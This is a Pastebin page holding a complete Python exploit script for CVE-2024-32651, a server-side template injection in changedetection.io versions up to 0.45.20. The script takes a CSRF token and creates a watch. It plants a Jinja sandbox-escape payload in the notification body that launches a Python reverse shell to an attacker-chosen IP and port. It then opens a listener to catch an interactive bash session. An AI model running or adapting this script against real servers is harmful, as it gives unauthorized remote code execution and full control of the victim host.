Advertisement
FlyFar

changedetection < 0.45.20 - Remote Code Execution (RCE) - CVE-2024-32651

Jun 8th, 2024
598
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.84 KB | Cybersecurity | 0 0
  1. # Exploit Title: changedetection <= 0.45.20 Remote Code Execution (RCE)
  2. # Date: 5-26-2024
  3. # Exploit Author: Zach Crosman (zcrosman)
  4. # Vendor Homepage: changedetection.io
  5. # Software Link: https://github.com/dgtlmoon/changedetection.io
  6. # Version: <= 0.45.20
  7. # Tested on: Linux
  8. # CVE : CVE-2024-32651
  9.  
  10. from pwn import *
  11. import requests
  12. from bs4 import BeautifulSoup
  13. import argparse
  14.  
  15. def start_listener(port):
  16.     listener = listen(port)
  17.     print(f"Listening on port {port}...")
  18.     conn = listener.wait_for_connection()
  19.     print("Connection received!")
  20.     context.newline = b'\r\n'
  21.     # Switch to interactive mode
  22.     conn.interactive()
  23.  
  24. def add_detection(url, listen_ip, listen_port, notification_url=''):
  25.     session = requests.Session()
  26.    
  27.     # First request to get CSRF token
  28.     request1_headers = {
  29.         "Cache-Control": "max-age=0",
  30.         "Upgrade-Insecure-Requests": "1",
  31.         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  32.         "Accept-Encoding": "gzip, deflate",
  33.         "Accept-Language": "en-US,en;q=0.9",
  34.         "Connection": "close"
  35.     }
  36.  
  37.     response = session.get(url, headers=request1_headers)
  38.     soup = BeautifulSoup(response.text, 'html.parser')
  39.     csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
  40.     print(f'Obtained CSRF token: {csrf_token}')
  41.  
  42.     # Second request to submit the form and get the redirect URL
  43.     add_url = f"{url}/form/add/quickwatch"
  44.     add_url_headers = {  # Define add_url_headers here
  45.         "Origin": url,
  46.         "Content-Type": "application/x-www-form-urlencoded"
  47.     }
  48.     add_url_data = {
  49.         "csrf_token": csrf_token,
  50.         "url": "https://reddit.com/r/baseball",
  51.         "tags": '',
  52.         "edit_and_watch_submit_button": "Edit > Watch",
  53.         "processor": "text_json_diff"
  54.     }
  55.  
  56.     post_response = session.post(add_url, headers=add_url_headers, data=add_url_data, allow_redirects=False)
  57.  
  58.     # Extract the URL from the Location header
  59.     if 'Location' in post_response.headers:
  60.         redirect_url = post_response.headers['Location']
  61.         print(f'Redirect URL: {redirect_url}')
  62.     else:
  63.         print('No redirect URL found')
  64.         return
  65.  
  66.     # Third request to add the changedetection url with ssti in notification config
  67.     save_detection_url = f"{url}{redirect_url}"
  68.     save_detection_headers = {  # Define save_detection_headers here
  69.         "Referer": redirect_url,
  70.         "Cookie": f"session={session.cookies.get('session')}"
  71.     }
  72.  
  73.     save_detection_data = {
  74.         "csrf_token": csrf_token,
  75.         "url": "https://reddit.com/r/all",
  76.         "title": '',
  77.         "tags": '',
  78.         "time_between_check-weeks": '',
  79.         "time_between_check-days": '',
  80.         "time_between_check-hours": '',
  81.         "time_between_check-minutes": '',
  82.         "time_between_check-seconds": '30',
  83.         "filter_failure_notification_send": 'y',
  84.         "fetch_backend": 'system',
  85.         "webdriver_delay": '',
  86.         "webdriver_js_execute_code": '',
  87.         "method": 'GET',
  88.         "headers": '',
  89.         "body": '',
  90.         "notification_urls": notification_url,
  91.         "notification_title": '',
  92.         "notification_body": f"""
  93.        {{% for x in ().__class__.__base__.__subclasses__() %}}
  94.        {{% if "warning" in x.__name__ %}}
  95.        {{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}}
  96.        {{% endif %}}
  97.        {{% endfor %}}
  98.        """,
  99.         "notification_format": 'System default',
  100.         "include_filters": '',
  101.         "subtractive_selectors": '',
  102.         "filter_text_added": 'y',
  103.         "filter_text_replaced": 'y',
  104.         "filter_text_removed": 'y',
  105.         "trigger_text": '',
  106.         "ignore_text": '',
  107.         "text_should_not_be_present": '',
  108.         "extract_text": '',
  109.         "save_button": 'Save'
  110.     }
  111.     final_response = session.post(save_detection_url, headers=save_detection_headers, data=save_detection_data)
  112.  
  113.     print('Final request made.')
  114.  
  115. if __name__ == "__main__":
  116.     parser = argparse.ArgumentParser(description='Add detection and start listener')
  117.     parser.add_argument('--url', type=str, required=True, help='Base URL of the target site')
  118.     parser.add_argument('--port', type=int, help='Port for the listener', default=4444)
  119.     parser.add_argument('--ip', type=str, required=True, help='IP address for the listener')
  120.     parser.add_argument('--notification', type=str, help='Notification url if you don\'t want to use the system default')
  121.     args = parser.parse_args()
  122.  
  123.  
  124.     add_detection(args.url, args.ip, args.port, args.notification)
  125.     start_listener(args.port)
  126.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement